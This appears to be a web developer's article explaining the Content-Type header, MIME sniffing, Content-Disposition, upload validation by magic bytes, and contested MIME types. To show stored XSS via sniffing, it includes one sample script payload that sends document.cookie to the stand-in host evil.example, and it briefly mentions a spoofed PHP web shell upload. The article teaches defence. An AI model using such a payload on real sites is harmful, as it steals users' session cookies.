mime
Content-Type: Why Your File Downloads Instead of Opening
The browser does not care about your file extension. What Content-Type actually controls, how MIME sniffing turns a wrong header into an XSS bug, and the extensions where the canonical type is genuinely contested.
You upload a PDF, click the link, and the browser downloads it instead of displaying it. Or your JavaScript file 404s in the console with a MIME type error. Or your fonts silently don’t load. All three are the same bug: the browser decides what a file is from the Content-Type response header, and it does not look at the extension in the URL at all.
The .pdf on the end of your link is a convention for humans. The header is what the browser acts on.
The header is the contract
When a server responds, it declares the type:
HTTP/1.1 200 OK
Content-Type: application/pdf
Content-Length: 84213
That string determines everything downstream: whether the browser renders it inline or hands it to the download manager, which parser it feeds it to, whether a <script> tag will execute it, whether a <link rel=stylesheet> will apply it.
Get it wrong and you get behavior that looks unrelated to the cause:
| Symptom | Usual cause |
|---|---|
| PDF downloads instead of displaying | application/octet-stream instead of application/pdf |
| JS blocked, “not a valid MIME type” in console | Server sending text/plain or text/html for .js |
| Stylesheet ignored, no error | text/plain instead of text/css |
| Font doesn’t load, silent | Wrong or missing type for .woff2 |
| WebAssembly falls back to slow path | Not exactly application/wasm |
| Page shows as source code | text/plain instead of text/html |
Mojibake, é where é should be | charset missing or wrong |
Two of those deserve a note. WebAssembly streaming compilation (WebAssembly.instantiateStreaming) requires the response to be exactly application/wasm — get it wrong and it rejects outright rather than degrading. And charset is part of the header, not a separate thing: text/html; charset=utf-8. Omit it and the browser guesses, which is where mojibake comes from.
The canonical types for the formats you’ll actually hit are worth having somewhere lookupable — our MIME type reference has 280+ extensions with the exact string to copy.
MIME sniffing: when the browser overrules you
Browsers don’t trust the header unconditionally. When it’s missing, or generic (application/octet-stream, text/plain), they sniff — inspect the first bytes of the response and guess the real type. This behavior is standardized (the WHATWG MIME Sniffing spec) precisely because it was already universal and needed pinning down.
Sniffing exists for a good reason: an enormous amount of the web is served by misconfigured servers, and a browser that refused to render anything with a wrong header would be a browser nobody used.
It is also a security hole.
Consider a site that lets users upload files and serves them back as text/plain — reasonable-looking defensive choice. A user uploads a file whose contents are:
<script>fetch('https://evil.example/?c='+document.cookie)</script>
The server sends Content-Type: text/plain. The browser sniffs, sees markup, decides “this is really HTML,” and executes the script in your origin. That’s stored XSS delivered through a header you thought was safe.
The fix is one header:
X-Content-Type-Options: nosniff
nosniff tells the browser: never override the declared type. For script and style in particular, it also enforces that the declared type is appropriate — a script served as text/plain is blocked rather than executed.
It should be on every response, and it’s cheap enough that there’s no reason not to. (It’s one of the headers we set site-wide here; you can check any site’s with our HTTP header analyzer.) The tradeoff is real but small: with nosniff on, a genuinely wrong Content-Type now breaks the resource instead of silently working. That’s the correct failure direction — a broken stylesheet is a bug you fix, an executed upload is an incident.
Download vs. display is a different header
Content-Type influences whether something renders inline, but the header that actually controls it is Content-Disposition:
Content-Disposition: inline
Content-Disposition: attachment; filename="report-2026.pdf"
attachment forces the download dialog regardless of type. inline requests rendering if the browser can. If you want a PDF to always download, don’t lie about its type — say application/pdf and add Content-Disposition: attachment. Setting application/octet-stream to force a download works, but it discards type information every downstream consumer might have wanted.
One security note: filename is attacker-controllable if it comes from user input, and has a history of header-injection and path-traversal issues. Sanitize it, and prefer the filename* (RFC 5987) form for non-ASCII names.
Never trust the client’s Content-Type
This is the most consequential rule and the most commonly broken one.
In a multipart file upload, each part carries its own Content-Type — and that value is supplied by the client. It’s a claim, not a fact. Anyone can upload a PHP web shell with Content-Type: image/png attached, and any validation that checks that header has validated nothing.
The same applies to file extensions in the uploaded filename, and for the same reason.
Real validation reads the file’s own bytes. Most formats begin with a magic number — a fixed signature at a known offset:
%PDF- PDF
\x89PNG\r\n PNG
GIF89a GIF
\xFF\xD8\xFF JPEG
PK\x03\x04 ZIP (and everything ZIP-based: .docx, .xlsx, .jar, .apk)
RIFF....WEBP WebP
Check those, and derive the type you serve from what you found — never from what the client claimed. We went into this in more depth in magic bytes and file signatures, including the polyglot files that satisfy two signatures at once.
Three additional rules for user uploads, all learned the hard way by the industry:
- Serve them from a separate origin. Then even a successful content-type attack lands in a domain with no cookies and no privileged same-origin access.
- Never serve user-uploaded SVG inline. SVG is XML that can contain
<script>, and its correct type isimage/svg+xml— an image type that executes. Serve it as an attachment, or sanitize it, or convert it to a raster format. - Re-encode images rather than passing them through. A re-encode strips both embedded payloads and the EXIF metadata your users didn’t mean to publish.
The extensions where the “correct” type is genuinely contested
Most extensions have one obvious answer. A handful don’t, and they cause real arguments — usually because two RFCs disagree, or because an older type was replaced but never disappeared from the wild.
| Extension | Use this | Also seen | Notes |
|---|---|---|---|
.js | text/javascript | application/javascript | RFC 9239 (2022) made text/javascript the canonical form and marked the others obsolete — a reversal of the previous advice |
.mp4 | video/mp4 | application/mp4 | Both are registered; application/mp4 is for non-AV MP4 containers, which is almost never what you have |
.mp3 | audio/mpeg | audio/mp3 | audio/mpeg is the registered type; audio/mp3 is common and non-standard |
.sql | application/sql | text/plain, text/x-sql | RFC 6922 registered application/sql; tooling is inconsistent |
.csv | text/csv | application/vnd.ms-excel | The Excel type is a Windows registry artifact, not a standard |
.woff2 | font/woff2 | application/font-woff2 | RFC 8081 created the font/ tree; application/font-* is obsolete |
.md | text/markdown | text/plain | RFC 7763; some servers still send text/plain |
.wasm | application/wasm | — | Must be exact for streaming compilation |
.json | application/json | text/json | text/json was never registered |
The .js one catches people out most, because the advice genuinely flipped. If you learned “use application/javascript,” that’s now the obsolete form.
There’s a practical wrinkle here for anyone building tooling: mime-db, the database most Node ecosystem tools use, resolves an extension by taking the first match in its ordering — which is alphabetical by type. For .mp4, application/mp4 sorts before video/mp4 and wins, which is wrong for essentially every real file. Building our MIME reference required explicit canonical overrides for exactly these cases (.mp4, .mp3, .js, .mpg4, .sql) rather than trusting the database’s default resolution. If you’re generating types programmatically, check what your library returns for those.
Where the type comes from on your server
If a type is wrong, it’s coming from one of these:
- Apache —
/etc/mime.typesplusAddTypedirectives in config or.htaccess. - nginx —
/etc/nginx/mime.types, included fromhttp {}, withdefault_typeas the fallback (oftenapplication/octet-stream). - Node/Express —
express.staticusesmime-types, which usesmime-db. See the caveat above. - S3 / object storage — the type is stored as object metadata at upload time. Uploading without setting it gives you
binary/octet-streamforever, and fixing it means re-uploading or copying the object onto itself with new metadata. This is the single most common “why does my PDF download” cause in cloud-hosted sites. - CDNs — usually pass through the origin’s type, but check for overrides, especially on compression and image-optimization features.
Diagnose it in one command:
curl -sI https://example.com/file.pdf | grep -i content-type
If that returns application/octet-stream, you’ve found it. Our HTTP header analyzer does the same thing in a browser, and also flags whether nosniff is present.
Tools
- MIME Type Reference — searchable lookup for 280+ extensions, filterable by kind, with the exact string to copy.
- HTTP Header Analyzer — see the real
Content-Type,Content-Disposition, andX-Content-Type-Optionson any URL. - Sample File Generator — real files of every common type, for testing that your upload validation and served types actually behave.
- HTTP Status Checker — for when the problem turns out not to be the type at all.